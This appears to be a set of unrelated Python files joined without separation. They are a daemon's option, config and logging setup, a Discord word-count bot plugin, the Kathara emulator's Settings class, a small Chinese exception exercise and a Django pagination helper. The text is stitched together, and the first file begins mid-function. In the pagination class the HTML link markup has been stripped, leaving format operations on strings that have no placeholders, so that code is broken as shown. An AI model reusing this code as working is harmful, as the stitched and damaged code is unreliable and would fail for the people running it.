    parser.set_defaults(debug=False)
    parser.add_option("-d", "--debug", action="store_true", dest="debug",
                      help=("Enable verbose logging to stdout, "
                            "and don't fork into the background."))
    self.options, args = parser.parse_args()
    if len(args) != 1:
      parser.error("You must supply a configuration file.")
    self.config_file = args[0]

  def _load_config(self):
    """Load the configuration file into self.config."""

    self.config = ConfigParser.SafeConfigParser()
    fd = open(self.config_file, 'r')

    try:
      self.config.readfp(fd)
    except ConfigParser.ParsingError:
      error_and_exit("Parse error while reading the configuration file.")
    except ConfigParser.InterpolationError:
      error_and_exit("Variable interpolation error while reading the configuration file.")

    fd.close()

  def _setup_logging(self):
    """Set up the logging infrastructure using the given configuration
    information in the 'logging' section."""

    log_format = '%(asctime)s (%(levelname)s) %(message)s'
    date_format = '%c'

    # If in debug mode, completely ignore the configuration and setup
    # a debug logger on stdout.
    if self.options.debug:
      logging.basicConfig(format=log_format,
                          datefmt=date_format,
                          level=logging.DEBUG,
                          stream=sys.stderr)
    else:

      log_levels = { 'error': logging.ERROR,
                     'warn': logging.WARN,
                     'info': logging.INFO,
                     'debug': logging.DEBUG }

      # Check configuration
      if not self.config.has_section('logging'):
        error_and_exit("Section [logging] is missing from the configuration.")
      elif not self.options.debug and (not self.config.has_option('logging', 'level') or
                                       not self.config.has_option('logging', 'file')):
        error_and_exit("Missing configuration attributes for logging.")

      level_str = self.config.get('logging', 'level')
      if level_str not in log_levels.keys():
        error_and_exit("Log level must be one of: %s" % ', '.join(log_levels.keys()))

      # Set up logging according to the configuration
      logging.basicConfig(format=log_format,
                          datefmt=date_format,
                          level=log_levels[level_str],
                          filename=self.config.get('logging', 'file'))

    logging.info("Logger initialized%s" % (self.options.debug and " in debug mode" or ""))

  def _start_components(self):
    """Start the components of Streamux in the correct init order."""
    db = streamux.db.StreamuxDatabase(self.config)

  def run(self):
    self._parse_args()
    self._load_config()
    self._setup_logging()
    self._start_components()


from .plugin import Plugin
import os,time
from nltk.corpus import stopwords
import collections
import asyncio

class Stats(Plugin):
    """
    Plugin template class

    API reference here:
        http://rapptz.github.io/discord.py/api.html#
    """

    title = "Name of my plugin"
    desc = "What is my purpose?"
    commands = ["!top"]

    def __init__(self): pass

    def on_message(self, client, message):

        if message.content.startswith('!top'):
            authors = []
            words = []
            for message in client.logs_from(message.channel,limit=2000):
                if message.author.name != "ButlerBot":
                    authors.append(str(message.author))
                if message.author != client.user and not message.content.startswith("!"):
                    for word in str(message.content).split():
                            words.append(str(word))
            yield from client.send_message(message.channel,"__Most Popular Words:__ \n\n"+self.popularWords(words))
            yield from client.send_message(message.channel,"__Most Spammy Users:__ \n\n"+self.popularWords(authors))

    def popularWords(self,words):
        filtered_words = [word for word in words if word.lower() not in stopwords.words('english')]
        counter = collections.Counter(filtered_words).most_common(10)
        message = ""
        count = 1
        for key,value in (counter):
            message+="**"+str(count)+"**. "+str(key)+" : *"+str(value)+"*\n"
            count+=1
        return message


from __future__ import annotations

import json
import logging
import os
import time
from typing import Any, Dict, Optional, List

from .. import utils
from .. import version
from ..exceptions import HTTPConnectionError, SettingsError, SettingsNotFoundError
from ..exceptions import InstantiationError
from ..foundation.setting.SettingsAddon import SettingsAddon
from ..foundation.setting.SettingsAddonFactory import SettingsAddonFactory
from ..webhooks.GitHubApi import GitHubApi

AVAILABLE_DEBUG_LEVELS: List[str] = ["CRITICAL", "ERROR", "WARNING", "INFO", "DEBUG", "EXCEPTION"]
AVAILABLE_MANAGERS: List[str] = ["docker", "kubernetes"]

ONE_WEEK: int = 604800

DEFAULTS: Dict[str, Any] = {
    "image": 'kathara/base',
    "manager_type": 'docker',
    "terminal": utils.exec_by_platform(lambda: '/usr/bin/xterm', lambda: '', lambda: 'Terminal'),
    "open_terminals": True,
    "device_shell": '/bin/bash',
    "net_prefix": 'kathara',
    "device_prefix": 'kathara',
    "debug_level": 'INFO',
    "print_startup_log": True,
    "enable_ipv6": False
}
SETTINGS_FILENAME = "kathara.conf"
DEFAULT_SETTINGS_PATH: str = os.path.join(utils.get_current_user_home(), ".config", SETTINGS_FILENAME)

class Setting(object):
    """Class responsible for interacting with Kathara Settings."""

    __slots__ = ['image', 'manager_type', 'terminal', 'open_terminals', 'device_shell', 'net_prefix',
                 'device_prefix', 'debug_level', 'print_startup_log', 'enable_ipv6', 'last_checked', 'addons']

    __instance: Setting = None

    @staticmethod
    def get_instance() -> Setting:
        """Return an instance of Setting.

        Returns:
            Kathara.setting.Setting: An instance of Setting.

        Raises:
            InstantiationError: If two instances of the class are created.
        """
        if Setting.__instance is None:
            Setting()

        return Setting.__instance

    def __init__(self) -> None:
        if Setting.__instance is not None:
            raise InstantiationError("This class is a singleton!")
        else:
            # Load default settings to use
            for (name, value) in DEFAULTS.items():
                setattr(self, name, value)

            self.addons: Optional[SettingsAddon] = None
            self.last_checked: float = time.time() - ONE_WEEK

            self.load_settings_addon()  # Load default addon

            Setting.__instance = self

    def __getattr__(self, item: str) -> Any:
        return self.addons.get(item)

    def __setattr__(self, name: str, value: Any) -> None:
        if name in self.__slots__:
            super(Setting, self).__setattr__(name, value)
            return

        setattr(self.addons, name, value)

    def load_from_disk(self, path: Optional[str] = None) -> None:
        """Load settings from a specific path on disk.

        Args:
            path (Optional[str]): A path where the kathara.conf file is stored. If None, default path is used.

        Returns:
            None

        Raises:
            SettingsNotFound: If the Settings file is not found in specified path.
            SettingsError: If the specified file is not a valid JSON.
        """
        settings_path = os.path.join(path, SETTINGS_FILENAME) if path is not None else DEFAULT_SETTINGS_PATH

        if not os.path.exists(settings_path):  # Requested settings file doesn't exist, throw exception
            raise SettingsNotFoundError(settings_path)
        else:  # Requested settings file exists, read it and check values
            settings = {}
            with open(settings_path, 'r') as settings_file:
                try:
                    settings = json.load(settings_file)
                except ValueError:
                    raise SettingsError("Not a valid JSON.")

            for name, value in settings.items():
                if hasattr(self, name):
                    setattr(self, name, value)

            self.load_settings_addon()  # Manager may be changed with loaded settings, reload addon
            self.addons.load(settings)  # Load values into the addon object

    def save_to_disk(self, path: Optional[str] = None) -> None:
        """Saves settings to a kathara.conf file in the specified path on disk.

        Args:
            path (Optional[str]): A path where the kathara.conf file will be stored. If None, default path is used.

        Returns:
            None
        """
        settings_path = os.path.join(path, SETTINGS_FILENAME) if path is not None else DEFAULT_SETTINGS_PATH
        settings_dirname = os.path.dirname(settings_path)

        if not os.path.isdir(settings_dirname):  # Create folder if it doesn't exist
            os.mkdir(settings_dirname)

        to_save = self.addons.merge(self._to_dict())

        with open(settings_path, 'w') as settings_file:
            settings_file.write(json.dumps(to_save, indent=True))

        def unix_permissions():
            (uid, gid) = utils.get_current_user_uid_gid()

            os.chmod(settings_path, 0o600)
            os.chown(settings_path, uid, gid)

        # If Linux or Mac, set the right permissions and ownership to the settings file.
        utils.exec_by_platform(unix_permissions, lambda: None, unix_permissions)

    def load_from_dict(self, settings: Dict[str, Any]) -> None:
        """Load settings from a dict.

        Args:
            settings (Dict[str, Any]): A dict containing the settings name as key and its value.

        Returns:
            None
        """
        for name, value in settings.items():
            if hasattr(self, name):
                setattr(self, name, value)

        self.load_settings_addon()  # Manager may be changed with loaded settings, reload addon
        self.addons.load(settings)  # Load values into the addon object

    @staticmethod
    def wipe_from_disk() -> None:
        """Remove settings from the default settings path on disk.

        Returns:
            None
        """
        if os.path.exists(DEFAULT_SETTINGS_PATH):
            os.remove(DEFAULT_SETTINGS_PATH)

    def check(self) -> None:
        """Check if Kathara is correctly working.

        Check if the selected manager is available. Check the presence of Kathara updates.
        Check the correctness and validity of the net_prefix, device_prefix and debug level.

        Returns:
            None

        Raises:
            SettingsError: If the Networks Prefix does not contain only lowercase letters and underscore.
            SettingsError: If the Device Prefix does not contain only lowercase letters and underscore.
            SettingsError: If the Debug Level specified is not allowed.
        """
        self._check_manager()

        current_time = time.time()
        # After 1 week, check if a new Kathara version has been released.
        if current_time - self.last_checked > ONE_WEEK:
            logging.debug("Checking Updates...")
            checked = True

            try:
                logging.debug("Checking Kathara release...")

                latest_remote_release = GitHubApi.get_release_information()
                latest_version = latest_remote_release["tag_name"]

                if version.less_than(version.CURRENT_VERSION, latest_version):
                    logging.info("A new version of Kathara has been released.")
                    logging.info("Current: %s - Latest: %s" % (version.CURRENT_VERSION, latest_version))
                    logging.info("Please update it from https://github.com/KatharaFramework/Kathara")
            except HTTPConnectionError:
                logging.debug("Connection to GitHub failed, passing...")
                checked = False

            if checked:
                self.last_checked = current_time
                self.save_to_disk()

        try:
            utils.re_search_fail(r"^[a-z]+_?[a-z_]+$", self.net_prefix)
        except ValueError:
            raise SettingsError("Networks Prefix must only contain lowercase letters and underscore.")

        try:
            utils.re_search_fail(r"^[a-z]+_?[a-z_]+$", self.device_prefix)
        except ValueError:
            raise SettingsError("Device Prefix must only contain lowercase letters and underscore.")

        if self.debug_level not in AVAILABLE_DEBUG_LEVELS:
            raise SettingsError("Debug Level must be one of the following: %s." % (", ".join(AVAILABLE_DEBUG_LEVELS)))

    def _check_manager(self) -> None:
        """Check if the selected manager is available.

        Returns:
            None

        Raises:
            SettingsError: If the Manager Type is not allowed.
        """
        from ..manager.Kathara import Kathara
        managers = Kathara.get_available_managers_name()

        if self.manager_type not in managers.keys():
            raise SettingsError("Manager Type not allowed.")

    def check_image(self, image: str = None) -> None:
        """Check if the specified image is valid.

        Args:
            image (str): The name of the image to check. If None, check the default image.

        Returns:
            None

        Raises:
            ConnectionError: If the image is not locally available and there is no connection to a remote image repository.
            ImageNotFoundError: If the image is not found.
        """
        image = self.image if not image else image

        # Required to import here because otherwise there is a cyclic dependency
        from ..manager.Kathara import Kathara
        Kathara.get_instance().check_image(image)

    def check_terminal(self, terminal: str = None) -> bool:
        """Check that the selected terminal is available.

        Args:
            terminal (str): The selected terminal path. If None, check the availability of the default terminal.

        Returns:
            bool: True if the selected terminal is TMUX (that do not require path), else False.

        Raises:
            SettingError: If the terminal emulator specified is not found.
        """
        terminal = self.terminal if not terminal else terminal

        # Skip check for TMUX (special value)
        if terminal == "TMUX":
            return True

        def check_unix():
            return os.path.isfile(terminal) and os.access(terminal, os.X_OK)

        def check_osx():
            import appscript
            import aem
            try:
                appscript.app(terminal)
            except aem.findapp.ApplicationNotFoundError:
                return False

            return True

        if not utils.exec_by_platform(check_unix, lambda: True, check_osx):
            raise SettingsError("Terminal Emulator `%s` not valid! Install it before using it." % terminal)

        return True

    def load_settings_addon(self) -> None:
        """Load a setting addon to the base settings.

        Returns:
            None
        """
        self.addons = SettingsAddonFactory().create_instance(class_args=(self.manager_type.capitalize(),))

    def _to_dict(self) -> Dict[str, Any]:
        return {"image": self.image,
                "manager_type": self.manager_type,
                "terminal": self.terminal,
                "open_terminals": self.open_terminals,
                "device_shell": self.device_shell,
                "net_prefix": self.net_prefix,
                "device_prefix": self.device_prefix,
                "debug_level": self.debug_level,
                "print_startup_log": self.print_startup_log,
                "enable_ipv6": self.enable_ipv6,
                "last_checked": self.last_checked
                }


class ShowError(Exception):
	def __init__(self,len,lee):
		self.len = len
		self.lee = lee

def main():
	try:
		s = input("请输入")
		if len(s)<3:
			raise ShowError(len(s),3)
	except ShowError as ll:
		print("你传的长度为%d，需要的长度是%d"%(ll.len,ll.lee))

main()


__author__ = 'Administrator'
from django.utils.safestring import mark_safe
class Page:
    '''
    current_page当前页
    data_count总数据
    per_page_count每页显示数据个数
    pager_num每页显示页码数
    @property 装饰一个方法变成属性来调用
    '''
    def __init__(self,current_page,data_count,per_page_count=10,pager_num=7):
        self.current_page = current_page
        self.data_count = data_count
        self.per_page_count = per_page_count
        self.pager_num = pager_num
    #当前页显示的起始页
    @property
    def start(self):
        return (self.current_page-1) * self.per_page_count
    #当前页面显示的末页
    @property
    def end(self):
        return self.current_page * self.per_page_count
    #总页数
    @property
    def total_count(self):
        #divmod取商和余数v为商，y为余数
        v,y = divmod(self.data_count, self.per_page_count)
        #当余数不为0时，总页数加一
        if y:
            v += 1
        return v
    #base_url就是url路由
    def page_str(self, base_url):
        page_list = []
        #当总页数小于，每页显示的页数时
        if self.total_count < self.pager_num:
            start_index = 1
            end_index = self.total_count + 1
        #当总页数大于，每页显示的页数时
        else:
            if self.current_page <= (self.pager_num+1)/2:
                start_index = 1
                end_index = self.pager_num + 1
            else:
                start_index = self.current_page - (self.pager_num-1)/2
                end_index = self.current_page + (self.pager_num+1)/2
                if (self.current_page + (self.pager_num-1)/2) > self.total_count:
                    end_index = self.total_count + 1
                    start_index = self.total_count - self.pager_num + 1
        #上一页，如果当前页数为1时，点击上一页href="javascript:void(0);"代表不做任何操作
        if self.current_page == 1:
            prev = '上一页'
        else:
            prev = '上一页' %(base_url,self.current_page-1,)
        page_list.append(prev)

        for i in range(int(start_index),int(end_index)):
            if i ==self.current_page:
                temp = '%s' %(base_url,i,i)
            else:
                temp = '%s' %(base_url,i,i)
            page_list.append(temp)
        #下一页，如果下一页等于总页数时，点击下一页href="javascript:void(0);"代表不做任何操作
        if self.current_page == self.total_count:
            nex = '下一页'
        else:
            nex = '下一页' %(base_url,self.current_page+1,)
        page_list.append(nex)

        #跳转 val是获取当前输入的页码值，然后location.href跳转到后面的base+val字符串拼接
        # jump = """
        # <input type='text'  />GO
        #
        # """ %(base_url,)
        jump = """
        <input type='text'  /><input type='button' value='GO' onclick='jumpTo(this, "%s?p=");' />

        """ %(base_url,)

        page_list.append(jump)

        #以下加mark_safe，是为了确保后台定义字符串包含特殊的html字符，前端可以做解析
        page_str = mark_safe("".join(page_list))

        return page_str